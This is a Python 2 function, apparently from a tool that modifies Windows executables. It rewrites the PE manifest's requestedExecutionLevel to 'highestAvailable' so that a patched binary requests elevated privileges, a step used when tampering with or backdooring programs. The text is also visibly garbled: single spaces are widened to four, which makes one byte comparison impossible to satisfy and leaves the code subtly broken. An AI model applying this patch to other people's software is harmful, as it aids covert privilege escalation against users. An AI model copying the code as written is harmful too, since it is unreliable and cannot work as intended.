'This module jumps to .rsrc section and checks for
the following string: requestedExecutionLevel level="highestAvailable"
and if not there patches it in'

def patch_runlevel(self):

    result = False
    print '[*]    Checking    execution    Level'
    if ('rsrcPointerToRawData' in self.flItms):
        search_lngth = len('requestedExecutionLevel')
        data_read = 0
        found_exeLevel = True
        while (data_read < ((self.flItms['rsrcPointerToRawData'] + self.flItms['rsrcSizeRawData']) - self.flItms['manifestLOC'])):
            self.binary.seek((self.flItms['manifestLOC'] + data_read), 0)
            temp_data = self.binary.read(search_lngth)
            if (temp_data == 'requestedExecutionLevel'):
                found_exeLevel = True
                search_lngth = len('level=')
                if (self.binary.read((search_lngth + 1)) == '    level='):
                    if (self.binary.read(len('"highestAvailable"')) == '"highestAvailable"'):
                        print '[*]    File    already    set    to    highestAvailable    execution    level'
                        break
                    else:
                        print "[!]    Patching    'highestAvailable'    in    PE    Manifest"
                        self.binary.seek(((((self.flItms['manifestLOC'] + data_read) + len(temp_data)) + search_lngth) + 1), 0)
                        self.binary.write('"highestAvailable"')
                        result = True
                        while True:
                            reading_position = self.binary.tell()
                            if (self.binary.read(1) != '>'):
                                self.binary.seek(reading_position)
                                self.binary.write('    ')
                            else:
                                return True
                                break
            if ((temp_data == 'level=') and (found_exeLevel is True)):
                if (self.binary.read(len('"highestAvailable"')) == '"highestAvailable"'):
                    print '[*]    File    already    set    to    highestAvailable    execution    level'
                    break
                else:
                    print "[!]    Patching    'highestAvailable'    in    PE    Manifest"
                    self.binary.seek(((self.flItms['manifestLOC'] + data_read) + len(temp_data)), 0)
                    self.binary.write('"highestAvailable"')
                    result = True
            data_read += 1
    return result
